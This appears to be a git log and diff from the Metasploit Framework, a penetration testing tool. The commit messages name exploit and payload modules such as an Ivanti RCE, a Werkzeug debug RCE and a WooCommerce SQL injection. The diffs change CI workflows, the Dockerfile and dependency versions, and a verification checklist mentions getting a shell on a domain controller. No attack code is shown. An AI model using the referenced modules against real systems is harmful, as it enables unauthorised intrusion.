bwatters af25c94e6a Change to send_request_raw 2024-10-24 15:23:09 -05:00
bwatters d94081faf1 Not working; need to checnge to send_request_raw? 2024-10-24 15:23:09 -05:00
bwatters 2c760bd842 Tracking down hash issues 2024-10-24 15:23:09 -05:00
bwatters 7d86c99ba6 Currently getting a bad username/password message 2024-10-24 15:23:09 -05:00
h00die-gr3y d9f8b66d21 updated documentation with some small tweaks 2024-10-23 17:36:00 +00:00
h00die-gr3y 331a3ad74a second release module and documentation with some small tweaks 2024-10-23 14:40:00 +00:00
h00die-gr3y 82e0b34670 added documentation 2024-10-23 13:11:14 +00:00
h00die-gr3y 735695e45f first release module 2024-10-23 12:58:26 +00:00
h00die-gr3y 23e6889839 init commit module 2024-10-23 11:36:32 +00:00
h00die-gr3y 4a1d31f239 small update on the documentation 2024-10-23 10:36:59 +00:00
h00die-gr3y d6e080a253 first release module + documentation 2024-10-23 10:25:43 +00:00
h00die-gr3y abf81619d4 init commit module 2024-10-23 08:45:32 +00:00
h4x-x0r 661075a45c handling additional case
handling additional case when autocheck is disabled and no credentials are provided
2024-10-22 03:42:39 +01:00
h4x-x0r 4d7d7f2c06 updated
using instance variables instead of updating the datastores
2024-10-21 22:07:43 +01:00
h4x-x0r 7028b807ed linting
linting
2024-10-21 21:45:04 +01:00
h4x-x0r b6d3a0ef36 safety flag
added a safety flag for the password reset in case no credentials are provided
2024-10-21 21:43:48 +01:00
h4x-x0r d950bf7bb3 updated
updated
2024-10-21 20:51:41 +01:00
h4x-x0r 202e5e55ac Added exception handling
Added exception handling
2024-10-20 19:50:43 +01:00
Jack Heysel cf85992531 Placeholder commit 2024-10-18 16:11:06 -07:00
Spencer McIntyre 77f63442d7 Add the initial higher level client 2024-10-17 12:54:25 -04:00
Spencer McIntyre 619620733d Add the initial Ivanti Agent Portal RCE 2024-10-17 12:54:25 -04:00
Spencer McIntyre 4dbcde793b Add the definitions for MS-NRTP messages 2024-10-17 12:54:25 -04:00
Spencer McIntyre 39698ec1ed Add the BinaryArray record definition 2024-10-17 12:54:25 -04:00
Spencer McIntyre 574654888b Add the BinaryMethodCall record definition 2024-10-17 12:54:25 -04:00
Spencer McIntyre 1c84d5719f Add a basic MethodReturn definition 2024-10-17 12:54:25 -04:00
bcoles 8ba1034105 Add tests for Linux Execute Command 32-bit/64-bit RISC-V LE payloads 2024-10-15 22:51:36 +11:00
bcoles 27ebde9ad5 Add Linux Execute Command 32-bit/64-bit RISC-V LE payloads 2024-10-15 22:51:36 +11:00
bcoles 5e1ecfc0c0 Add tests for Linux Reboot 32-bit/64-bit RISC-V LE payloads 2024-10-15 22:51:36 +11:00
bcoles befabb8887 Add 32-bit/64-bit RISC-V LE NOP sled modules 2024-10-15 22:51:36 +11:00
bcoles 92cf931d6e Add Linux Reboot 32-bit/64-bit RISC-V LE payloads 2024-10-15 22:51:36 +11:00
bcoles f244d07bd0 Msf::Util::EXE: Add support for RISC-V ELF executables 2024-10-15 22:51:36 +11:00
bcoles 1c748d376a Add RISC-V 32-bit/64-bit ELF templates 2024-10-15 22:51:32 +11:00
h4x-x0r 7929df2bfd improved reliability
improved reliability
2024-10-15 06:26:46 +01:00
Chocapikk 4807b6f3a9 Add banner 2024-10-14 18:11:42 +02:00
Chocapikk 95e64a0a3b Add module for TI WooCommerce Wishlist SQL Injection (CVE-2024-43917) 2024-10-14 18:11:41 +02:00
h4x-x0r 5716b6c799 linting
linting
2024-10-14 15:56:00 +01:00
h4x-x0r ea74802a5a cleanup
cleanup
2024-10-14 15:53:07 +01:00
h4x-x0r bd7cd8b3ba cleanup
cleanup
2024-10-14 15:36:45 +01:00
h4x-x0r 34538df83c PoC and Documentation
PoC and Documentation
2024-10-14 05:09:29 +01:00
Graeme Robinson 5228acb0f1 Update werkzeug_debug_rce docs to show modified output 2024-10-13 23:11:52 +01:00
Graeme Robinson f369a80fcc Satisfy msftidy_docs against werkzeug_debug_rce.md 2024-10-13 22:55:12 +01:00
Graeme Robinson 3a79c6d70f rubocop -a on werkzeug_debug_rce.rb 2024-10-13 22:36:35 +01:00
NtAlexio2 6983ec5e12 fix lintings in pipe_dcerpc_auditor 2024-10-13 13:38:05 -04:00
Graeme Robinson f17fc282bc Made suggested changes to werkzeug_debug_rce.rb 2024-10-13 00:19:50 +01:00
h4x-x0r d28a098398 CVE-2024-9464
CVE-2024-9464
2024-10-11 19:31:56 +01:00
Ashley Donaldson a854689424 Added new failing test for windows junction points 2024-10-11 21:17:51 +11:00
Mathieu 8c5bead4a0 Added spec to reproduce the username/password generation error in case PASSWORD_SPRAY and USER_AS_PASS are both enabled
Added minimal code to fix the issue, extracting the code to generate username:username credentials in the PASSWORD_SPRAY case
2024-10-10 21:15:50 +02:00
adfoster-r7 93e0ca7cd5 Improve database module cache performance 2024-10-10 10:52:19 +01:00
Graeme Robinson f3bb48f277 Update werkzeug_debug_rce documentation to include new logged messages 2024-10-07 11:56:16 +01:00
Graeme Robinson 3e422c235b Use random number to check for code execution in werkzeug_debug_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-10-07 10:59:29 +01:00
Graeme Robinson 255ab5c3ff Change some messages from vprint to print werkzeug_debug_rce.rb 2024-10-07 10:31:03 +01:00
Graeme Robinson 8ad38f1d1a Appease the linter when checking werkzeug_debug_rce.rb 2024-10-06 20:43:25 +01:00
Graeme Robinson 97c5afed52 Update werkzeug exploit module documentation 2024-10-06 20:19:48 +01:00
Graeme Robinson d135b572f5 Add support for Cookie/PIN generation to Werkzeug RCE 2024-10-06 20:18:12 +01:00
NtAlexio2 29c0a10fd2 allow settings the RPORT option for pipe_dcerpc_auditor 2024-10-04 12:37:06 -04:00
Spencer McIntyre f2a723541d Add a test for the python/exec payload 2024-10-04 11:10:50 -04:00
Spencer McIntyre c051ea5a7f Add a python/exec payload to execute OS commands 2024-10-04 10:03:08 -04:00
h4x-x0r 6c3e9338f7 Updated documentation
Updated documentation
2024-09-26 05:50:52 +01:00
h4x-x0r abddaf5657 Limit terminal output
Use TICKETSTODUMP instead of n characters
2024-09-26 05:43:55 +01:00
h4x-x0r e80c66d80a linting 2024-09-26 05:08:41 +01:00
h4x-x0r ac711e32a0 minor updates
added report_vuln, report_service, limited console output
2024-09-26 05:04:38 +01:00
h4x-x0r d4cd4aa843 added check method
added check method
2024-09-25 17:41:49 +01:00
h4x-x0r 174ed4ec97 minor improvements
minor improvements
2024-09-25 17:29:04 +01:00
h4x-x0r 5f95b2bf0d Documentation
Documentation
2024-09-25 17:15:54 +01:00
h4x-x0r d391999c92 Initial draft
Initial draft
2024-09-25 14:06:40 +01:00
h4x-x0r ac56da3d21 CVE-2024-28987
CVE-2024-28987
2024-09-25 13:16:09 +01:00
h4x-x0r c82b8217a8 CVE-2024-6670
CVE-2024-6670
2024-09-01 23:26:11 +01:00
Adithya Chiluka 4a0d3d4598 Update README.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2024-08-30 06:30:31 +05:30
Adithya Chiluka a37c3bcd4b Update README.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2024-08-30 06:30:20 +05:30
Adithya Chiluka 51bd4fd8ac Update README.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2024-08-30 06:29:59 +05:30
h4x-x0r 64123ab599 placeholder for CVE-2024-43425
placeholder for CVE-2024-43425
2024-08-29 17:17:10 +01:00
h00die c8084e4504 Create vcenter_sudo_lpe.rb 2024-08-19 20:02:05 -04:00
Ivan Nikolskiy be90a4e3fd Restore r0 on each iteration 2024-08-06 00:01:58 +02:00
Ivan Nikolskiy ae8e996c46 Restore r0 on each iteration 2024-08-06 00:01:06 +02:00
Ivan Nikolskiy 9436e0011f Put sockfd to r0
r0 has return value instead of sockfd in second loop interation
2024-08-05 23:51:22 +02:00
Adithya Chiluka 28535ae277 Update README.md 2024-08-01 22:39:42 +05:30
h00die 07cc3bbf74 Further updates to x11 2024-07-12 13:57:24 +00:00
h00die a93a6dddf9 Merge branch 'rapid7:master' into xspy 2024-07-12 06:49:52 -04:00
h00die 04f4990318 Further x11 updates 2024-07-11 18:28:50 +00:00
h00die ea0d400e79 update x11 docs 2024-07-11 12:35:38 +00:00
h00die 05fb1d3eaa x11 library update 2024-07-11 12:34:49 +00:00
h00die 80b4cb7721 remove moved files 2024-05-01 16:08:57 -04:00
h00die 45312a506d further x11 revisions 2024-04-26 14:49:22 -04:00
h00die a7b428a6d2 doc update 2024-04-25 15:50:40 -04:00
h00die 83d1dcb1d4 move x11 to be more modular, forgot to grab spec files :( 2024-04-25 15:48:14 -04:00
h00die 417e7c1302 x11 progress 2024-04-24 16:46:37 -04:00
h00die 7a27c0f010 some review on x11 2024-04-22 15:07:57 -04:00
h00die bc9fdb3d00 docs 2024-04-14 19:51:23 -04:00
h00die 4f6903481c remove screenshot functionality for time being 2024-03-22 16:37:22 -04:00
h00die a524682f63 x11 screenshot module progress 2024-03-04 17:40:01 -05:00
h00die 69b89c5d95 WIP x11 screenshots and lib 2024-03-01 15:15:39 -05:00
h00die bd956e7aef WIP x11 screenshots and lib 2024-03-01 15:14:43 -05:00
h00die 75d007b44c WIP x11 screenshots and lib 2024-02-27 12:52:22 -05:00
h00die 453f8bbeff more x11 progress, now working on screenshots, WIP 2024-02-26 15:16:47 -05:00
h00die 5e42df8cd4 more x11 progress 2024-02-23 13:53:07 -05:00
h00die d85f2575a9 Thanks adfoster for spec fixes 2024-02-22 16:20:40 -05:00
h00die e7ca9485ed working xspy code 2024-02-22 15:34:20 -05:00
h00die 794e304cee working but ugly code 2024-02-22 15:31:16 -05:00
h00die 7292877b18 more progress, broke up lib x11 into different files/folders 2024-02-22 15:30:14 -05:00
h00die f4b698b080 more progress, broke up lib x11 into different files/folders 2024-02-20 16:11:36 -05:00
h00die f5a6d7d835 Update x11.rb 2024-02-15 12:46:48 -05:00
h00die 7330c695a9 Update and rename X11.rb to x11.rb 2024-02-15 09:24:33 -05:00
h00die 424c55fdae Update x11.rb 2024-02-15 09:22:33 -05:00
h00die c39d04622f Update and rename X11.rb to x11.rb 2024-02-15 09:22:06 -05:00
h00die 6156fb55a6 Create spec for X11.rb 2024-02-13 12:24:49 -05:00
h00die b22cafb6a1 Update X11.rb 2024-02-13 10:47:08 -05:00
h00die faa80dc850 Create lib for X11.rb 2024-02-13 10:46:16 -05:00
544 changed files with 59519 additions and 9616 deletions
@@ -66,7 +66,7 @@ jobs:
- windows-2019
- ubuntu-20.04
ruby:
- 3.1.5
- '3.2'
include:
# Powershell
- { command_shell: { name: powershell }, os: windows-2019 }
+1 -1
View File
@@ -32,7 +32,7 @@ jobs:
# Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
build:
runs-on: ubuntu-latest
timeout-minutes: 40
timeout-minutes: 60
strategy:
fail-fast: true
+1 -1
View File
@@ -44,7 +44,7 @@ on:
jobs:
ldap:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
timeout-minutes: 60
strategy:
fail-fast: true
+2 -2
View File
@@ -29,7 +29,7 @@ on:
jobs:
msftidy:
runs-on: ubuntu-latest
timeout-minutes: 40
timeout-minutes: 60
env:
BUNDLE_WITHOUT: "coverage development pcap"
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '3.1'
- '3.2'
name: Lint msftidy
steps:
+1 -1
View File
@@ -44,7 +44,7 @@ on:
jobs:
mssql:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
timeout-minutes: 60
services:
mssql:
+1 -1
View File
@@ -44,7 +44,7 @@ on:
jobs:
mysql:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
timeout-minutes: 60
services:
mysql:
+2 -2
View File
@@ -44,7 +44,7 @@ on:
jobs:
postgres:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
timeout-minutes: 60
services:
postgres:
@@ -54,7 +54,7 @@ jobs:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: password
options: >-
--health-cmd pg_isready
--health-cmd "pg_isready --username postgres"
--health-interval 10s
--health-timeout 5s
--health-retries 5
@@ -30,11 +30,11 @@ on:
type: boolean
jobs:
# Compile Java Meterpreter via docker if required, we can't always do this on the
# Compile the Meterpreter payloads via docker if required, we can't always do this on the
# host environment (i.e. for macos). So it instead gets compiled first on a linux
# host, then the artifacts are copied back to the host later
java_meterpreter_compilation:
name: Compile Java Meterpreter
meterpreter_compilation:
name: Compile Meterpreter
runs-on: ubuntu-latest
if: ${{ inputs.build_metasploit_payloads }}
@@ -46,21 +46,22 @@ jobs:
path: metasploit-payloads
ref: ${{ inputs.metasploit_payloads_commit }}
- name: Build Java and Android payloads
- name: Build Meterpreter payloads
run: |
mkdir $(pwd)/java-artifacts
docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package"
mkdir $(pwd)/meterpreter-artifacts
docker run --rm -w $(pwd) -v $(pwd):$(pwd) rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "cd metasploit-payloads/gem && rake create_dir && rake win_copy && rake php_prep && rake java_prep && rake python_prep && rake create_manifest && rake build"
cp $(pwd)/metasploit-payloads/gem/pkg/metasploit-payloads-* $(pwd)/meterpreter-artifacts
- name: Store Java artifacts
- name: Store Meterpreter artifacts
uses: actions/upload-artifact@v4
with:
name: java-artifacts
path: java-artifacts
name: meterpreter-artifacts
path: meterpreter-artifacts
# Run all test individually, note there is a separate final job for aggregating the test results
test:
needs: java_meterpreter_compilation
if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped')
needs: meterpreter_compilation
if: always() && (needs.meterpreter_compilation.result == 'success' || needs.meterpreter_compilation.result == 'skipped')
strategy:
fail-fast: false
@@ -70,7 +71,7 @@ jobs:
- windows-2019
- ubuntu-20.04
ruby:
- 3.1.5
- '3.2'
meterpreter:
# Python
- { name: python, runtime_version: 3.6 }
@@ -208,28 +209,28 @@ jobs:
working-directory: metasploit-framework
- uses: actions/download-artifact@v4
name: Download Java meterpreter
id: download_java_meterpreter
if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }}
name: Download Meterpreter
id: download_meterpreter
if: ${{ matrix.meterpreter.name != 'mettle' && inputs.build_metasploit_payloads }}
with:
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
path: raw-data
- name: Extract Java Meterpreter (Unix)
if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
- name: Extract Meterpreter (Unix)
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
shell: bash
run: |
set -x
download_path=${{steps.download_java_meterpreter.outputs.download-path}}
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
download_path=${{steps.download_meterpreter.outputs.download-path}}
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
- name: Extract Java Meterpreter (Windows)
if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
- name: Extract Meterpreter (Windows)
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
shell: bash
run: |
set -x
download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}')
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
download_path=$(cygpath -u '${{steps.download_meterpreter.outputs.download-path}}')
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
- name: Install mettle gem
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
@@ -250,32 +251,6 @@ jobs:
path: metasploit-payloads
ref: ${{ inputs.metasploit_payloads_commit }}
- name: Get metasploit-payloads version
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
working-directory: metasploit-payloads
- name: Build metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: gem build ./gem/metasploit-payloads.gemspec
working-directory: metasploit-payloads
- name: Copy metasploit-payloads gem into metasploit-framework
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem .
working-directory: metasploit-framework
- name: Install metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: |
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
bundle config unset deployment
bundle update metasploit-payloads
bundle install
working-directory: metasploit-framework
- name: Build Windows payloads via Visual Studio 2019 Build (Windows)
shell: cmd
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }}
@@ -294,12 +269,39 @@ jobs:
make.bat
working-directory: metasploit-payloads
- name: Build PHP, Python and Windows payloads
if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }}
run: |
make install-php install-python install-windows
- name: Get metasploit-payloads version
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
shell: bash
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
working-directory: metasploit-payloads
- name: Install metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: |
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
working-directory: metasploit-framework
- name: Remove metasploit-payloads version from metasploit-framework.gemspec
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' }}
run: |
ruby -pi -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
working-directory: metasploit-framework
- name: Remove metasploit-payloads version from metasploit-framework.gemspec (Windows)
if: ${{ inputs.build_metasploit_payloads && (runner.os == 'Windows' && matrix.meterpreter.name != 'windows_meterpreter') && matrix.meterpreter.name != 'mettle' }}
shell: cmd
run: |
ruby -pi.bak -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
working-directory: metasploit-framework
- name: Bundle update/install metasploit-payloads gem
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
run: |
bundle config unset deployment
bundle update metasploit-payloads
bundle install
working-directory: metasploit-framework
- name: Acceptance
env:
SPEC_HELPER_LOAD_METASPLOIT: false
+1 -1
View File
@@ -17,7 +17,7 @@ on:
jobs:
smb:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
timeout-minutes: 60
strategy:
fail-fast: true
+5 -6
View File
@@ -29,7 +29,7 @@ on:
jobs:
build:
runs-on: ubuntu-latest
timeout-minutes: 40
timeout-minutes: 60
name: Docker Build
steps:
- name: Checkout code
@@ -41,7 +41,7 @@ jobs:
test:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
timeout-minutes: 60
services:
postgres:
@@ -51,7 +51,7 @@ jobs:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: postgres
options: >-
--health-cmd pg_isready
--health-cmd "pg_isready --username postgres"
--health-interval 10s
--health-timeout 5s
--health-retries 5
@@ -60,16 +60,15 @@ jobs:
fail-fast: true
matrix:
ruby:
- '3.1'
- '3.2'
- '3.3'
- '3.4.0-preview1'
- '3.4'
os:
- ubuntu-20.04
- ubuntu-latest
include:
- os: ubuntu-latest
ruby: '3.1'
ruby: '3.2'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
@@ -0,0 +1,98 @@
name: Weekly Data and External Tool Updater
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: write
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: write
repository-projects: none
security-events: none
statuses: none
on:
schedule:
# Run once a week (e.g., every Monday at 01:00 UTC)
- cron: '0 1 * * 1'
workflow_dispatch: # Allows manual triggering from the Actions tab
jobs:
update-data-files:
runs-on: ubuntu-latest
if: github.repository_owner == 'rapid7'
env:
BUNDLE_WITHOUT: "coverage development pcap"
strategy:
fail-fast: true
matrix:
ruby:
- '3.2'
steps:
- name: Install system dependencies
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
- name: Run Ruby updater scripts
run: |
ruby tools/dev/update_wordpress_vulnerabilities.rb
ruby tools/dev/update_joomla_components.rb
ruby tools/dev/update_user_agent_strings.rb
ruby tools/dev/check_external_scripts.rb -u
- name: Remove vendor folder # prevent git from adding it
run: rm -rf vendor
- name: Create Pull Request
uses: peter-evans/create-pull-request@v7
with:
token: ${{ secrets.GITHUB_TOKEN }}
commit-message: Update report
base: master
branch: weekly-updates
committer: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
author: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
title: "Weekly Data Update"
draft: false
body: |
This pull request was created automatically by a GitHub Action to update data files and external scripts.
The following tools were run:
- ruby tools/dev/update_wordpress_vulnerabilities.rb
- ruby tools/dev/update_joomla_components.rb
- ruby tools/dev/update_user_agent_strings.rb
- ruby tools/dev/check_external_scripts.rb -u
## Verification
### Wordpress/Joomla Files
- [ ] Do a sanity check, do the additions look legit?
- [ ] Start `msfconsole`
- [ ] `use modules/auxiliary/scanner/http/wordpress_scanner`
- [ ] **Verify** it runs
### JTR Files
- [ ] Do a sanity check, do the additions look legit?
- [ ] See https://docs.metasploit.com/docs/using-metasploit/intermediate/hashes-and-password-cracking.html#example-hashes for hashes and cracking
### SharpHound
- [ ] Start `msfconsole`
- [ ] get a shell on a DC or box connected to a dc
- [ ] `use post/windows/gather/bloodhound`
- [ ] `set session`
- [ ] `run`
- [ ] **Verify** it runs w/o erroring
- [ ] `set method disk`
- [ ] **Verify** it runs w/o erroring
+3 -1
View File
@@ -17,6 +17,7 @@ todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
dledda-r7 <dledda-r7@github> <diego_ledda@rapid7.com>
msutovsky-r7 <msutovsky-r7@github> <martin_sutovsky@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -121,6 +122,7 @@ m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
Meatballs1 <Meatballs1@github> <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> <Meatballs1@users.noreply.github.com>
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
mwalas-r7 <mwalas-r7@github> <marcin_walas@rapid7.com>
net-ninja <net-ninja@github.com> Steven Seeley <steventhomasseeley@gmail.com>
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
@@ -185,4 +187,4 @@ Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
+1 -1
View File
@@ -1 +1 @@
3.1.5
3.2.5
+4 -8
View File
@@ -1,4 +1,4 @@
FROM ruby:3.1.6-alpine3.20 AS builder
FROM ruby:3.2.5-alpine3.20 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
@@ -53,7 +53,7 @@ RUN mkdir -p $TOOLS_HOME/bin && \
cd go/src && \
./make.bash
FROM ruby:3.1.5-alpine3.18
FROM ruby:3.2.5-alpine3.20
LABEL maintainer="Rapid7"
ARG TARGETARCH
@@ -65,8 +65,8 @@ ENV METASPLOIT_GROUP=metasploit
# used for the copy command
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
RUN apk add --no-cache curl bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python3 py3-pip py3-impacket py3-requests ncurses libcap su-exec alpine-sdk \
openssl-dev nasm
RUN\
if [ "${TARGETARCH}" = "arm64" ];\
@@ -74,7 +74,6 @@ RUN\
else apk add --no-cache mingw-w64-gcc;\
fi
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
@@ -86,9 +85,6 @@ RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN gem update --system
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
RUN pip install impacket
RUN pip install requests
ENV GOPATH=$TOOLS_HOME/go
ENV GOROOT=$TOOLS_HOME/bin/go
+19 -11
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.4.34)
metasploit-framework (6.4.52)
aarch64
abbrev
actionpack (~> 7.0.0)
@@ -15,10 +15,12 @@ PATH
base64
bcrypt
bcrypt_pbkdf
benchmark
bigdecimal
bootsnap
bson
chunky_png
concurrent-ruby (= 1.3.4)
csv
dnsruby
drb
@@ -31,6 +33,7 @@ PATH
faraday-retry
faye-websocket
ffi (< 1.17.0)
fiddle
filesize
getoptlong
hrr_rb_ssh-ed25519
@@ -42,7 +45,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.187)
metasploit-payloads (= 2.0.189)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.35)
mqtt
@@ -60,6 +63,7 @@ PATH
octokit (~> 4.0)
openssl-ccm
openvas-omp
ostruct
packetfu
patch_finder
pcaprub
@@ -186,6 +190,7 @@ GEM
base64 (0.2.0)
bcrypt (3.1.20)
bcrypt_pbkdf (1.1.1)
benchmark (0.4.0)
bigdecimal (3.1.8)
bindata (2.4.15)
bootsnap (1.18.4)
@@ -200,7 +205,7 @@ GEM
crass (1.0.6)
csv (3.3.0)
daemons (1.4.1)
date (3.3.4)
date (3.4.1)
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
@@ -242,6 +247,7 @@ GEM
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
ffi (1.16.3)
fiddle (1.1.6)
filesize (0.2.0)
fivemat (1.3.7)
getoptlong (0.2.1)
@@ -300,8 +306,8 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.187)
metasploit_data_models (6.0.5)
metasploit-payloads (2.0.189)
metasploit_data_models (6.0.6)
activerecord (~> 7.0)
activesupport (~> 7.0)
arel-helpers
@@ -317,7 +323,7 @@ GEM
logger
mime-types-data (~> 3.2015)
mime-types-data (3.2024.1001)
mini_portile2 (2.8.7)
mini_portile2 (2.8.8)
minitest (5.25.1)
mqtt (0.6.0)
msgpack (1.6.1)
@@ -340,7 +346,7 @@ GEM
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.7.4)
nokogiri (1.16.7)
nokogiri (1.18.2)
mini_portile2 (~> 2.8.2)
racc (~> 1.4)
nori (2.7.1)
@@ -351,6 +357,7 @@ GEM
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
ostruct (0.6.1)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.26.3)
@@ -439,14 +446,15 @@ GEM
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.12)
rex-random_identifier (0.1.13)
rex-text
rex-registry (0.1.5)
rex-rop_builder (0.1.5)
metasm
rex-core
rex-text
rex-socket (0.1.57)
rex-socket (0.1.58)
dnsruby
rex-core
rex-sslscan (0.1.10)
rex-core
@@ -499,11 +507,11 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.10)
ruby_smb (3.3.13)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
rubyntlm
rubyntlm (>= 0.6.5)
windows_error (>= 0.1.4)
rubyntlm (0.6.5)
base64
+84 -81
View File
